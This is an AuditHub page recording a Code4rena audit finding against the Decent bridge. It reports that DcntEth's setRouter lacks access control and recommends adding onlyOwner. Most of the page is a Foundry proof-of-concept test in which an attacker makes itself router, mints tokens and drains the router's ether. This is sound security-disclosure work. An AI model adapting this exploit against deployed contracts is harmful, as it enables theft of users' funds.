Decent - ke1caM's results

Decent enables one-click transactions using any token across chains.

General Information

Platform: Code4rena

Start Date: 19/01/2024

Pot Size: $36,500 USDC

Total HM: 9

Participants: 113

Period: 3 days

Judge: 0xsomeone

Id: 322

League: ETH

Decent

Findings Distribution

Researcher Performance

Rank: 95/113

Findings: 1

Award: $0.12

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/decentxyz/decent-bridge/blob/7f90fd4489551b69c20d11eeecb17a3f564afb18/src/DcntEth.sol#L20-L22

Vulnerability details

Summary

Anyone can set router address. This address is responsible for minting and burning Decent Eth.

Vulnerability details

User can set his address as a router, mint enough Decent Eth to withdraw all ether from DecentEthRouter and use redeemEth to get ether.

PoC

Add this file to test folder:

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

import {DcntEth} from "../lib/decent-bridge/src/DcntEth.sol";
import {DecentEthRouter} from "../lib/decent-bridge/src/DecentEthRouter.sol";
import {IWETH} from "../lib/decent-bridge/src/interfaces/IWETH.sol";

contract MockWETH9 {
    string public name = "Wrapped Ether";
    string public symbol = "WETH";
    uint8 public decimals = 18;

    event Approval(address indexed src, address indexed guy, uint wad);
    event Transfer(address indexed src, address indexed dst, uint wad);
    event Deposit(address indexed dst, uint wad);
    event Withdrawal(address indexed src, uint wad);

    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;

    receive() external payable {
        deposit();
    }

    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        payable(msg.sender).transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return address(this).balance;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(
        address src,
        address dst,
        uint wad
    ) public returns (bool) {
        require(balanceOf[src] >= wad);

        if (
            src != msg.sender && allowance[src][msg.sender] != type(uint256).max
        ) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        emit Transfer(src, dst, wad);

        return true;
    }
}

contract TestExploit is Test {
    DcntEth dcntEth;
    DecentEthRouter router;
    MockWETH9 weth;

    function setUp() public {
        dcntEth = new DcntEth(address(1));
        weth = new MockWETH9();
        router = new DecentEthRouter(payable(weth), true, address(1));
        router.registerDcntEth(address(dcntEth));
        dcntEth.setRouter(address(router));
    }

    function testUserCanDrainRouter() public {
        address alice = address(23);
        address bob = address(45);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 10 ether);
        vm.startPrank(alice);
        router.addLiquidityEth{value: 90 ether}();
        vm.stopPrank();
        vm.startPrank(bob);
        dcntEth.setRouter(bob);
        dcntEth.mint(bob, 90 ether);
        dcntEth.approve(address(router), 90 ether - 1);
        router.redeemEth(90 ether - 1);
        vm.stopPrank();
        assert(weth.balanceOf(address(router)) == 1);
        assert(address(router).balance == 0);
    }
}

Attacker can withdraw all of the ether and user is left with Decent Eth which can't be converted back to eth or weth.

Impact

User can drain all of the funds from the contract.

Recommendations

Add onlyOwner to setRouter function.

Assessed type

Access Control

#0 - c4-pre-sort

2024-01-24T16:14:54Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-01-24T16:15:02Z

raymondfam marked the issue as duplicate of #14

#2 - c4-judge

2024-02-03T13:23:13Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter